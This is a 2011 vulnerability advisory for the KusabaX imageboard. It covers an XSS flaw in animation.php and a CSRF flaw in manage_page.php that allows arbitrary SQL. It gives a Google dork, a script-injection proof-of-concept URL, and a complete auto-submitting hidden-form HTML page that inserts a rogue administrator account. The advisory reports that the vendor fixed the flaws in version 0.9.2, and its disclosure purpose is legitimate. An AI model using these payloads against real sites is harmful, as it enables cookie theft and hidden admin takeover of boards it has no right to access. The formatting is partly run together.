######################################################## KusabaX XSS and CSRF Vulnerabilites ######################################################### Product: KusabaX and various Futaba channels clone# Vendor site: http://kusabax.cultnet.net/# Affected versions: KusabaX <= 0.9.1# Product description: an imageboard is a web application written in PHP used in sites # like 4chan as an anonymous bullettin board based on image sharing. # Author: Emilio Pinna - ncl 01 _at_ email _dot_ it# Blog site: http://thissecting.wordpress.com# Date: 27/04/2011######################################################## Cross Site Scripting in 'animation.php' ######################################################### Vulnerable page: animation.php# Google dork: allinurl: animation.php board id
File "animation.php" suffer from XSS vulnerabilities in line 47:#-----------------------------------------------------#<param name="pch_file" value="<?php echo KU_BOARDSPATH . '/' . $_GET['board'] . '/src/' . $_GET['id'] . '.pch'; ?>">#-----------------------------------------------------#
Attackers can exploit these weaknesses to execute arbitrary HTML and script code
in a user's browser session that visit resulting in a cookie stealing and bypass of admin
access controls.#-----------------------------------------------------#
http://localhost/kusabax/animation.php?board=b&id=1"><script>alert('XSS')</script><"#-----------------------------------------------------########################################################## Arbitrary SQL statements execution through CSRF########################################################## Vulnerable page: manage_page.php
The vulnerability permit to execute SQL commands through 'SQL query' section of Administrator Panel.
This flaw exists due to failure in the 'manage_page.php' script to verify the source of HTTP request
with anti CRSF tokens or referrer check. This bug flaw was reported in2010for older versions
(http://tinyurl.com/5wdrmy6), but never totally fixed. The following example adds an administrator
account with login 'new_admin'and password 'admin' encrypted with'TMC'as salt.#-----------------------------------------------------#
INSERT INTO staff VALUES (1331,'new_admin','6a9685fcb53b90f0ca9a1c72d7fa31d2','TMC',1, NULL,1303904817,1303908333)#-----------------------------------------------------#
The attacker must lure a logged user with Administrator privilege to a web page with malicious code similar to the
following PHP script.#--------- File: manage_page_sql_crsf.html -----------#<html><body><iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe><form method="post" name="sender" action="http://localhost/kusabax/manage_page.php?action=sql" target="hidden"><inputtype="hidden" name="query" value="insert into staff values (1331, 'new_admin', '6a9685fcb53b90f0ca9a1c72d7fa31d2', 'TMC', 1, NULL, 1303904817, 1303908333)"></form></body><script>document.sender.submit();</script></html>#-----------------------------------------------------## Disclosure:# 27/04/2011 Reported to KusabaX developers and fixed immediatly with version 0.9.2.
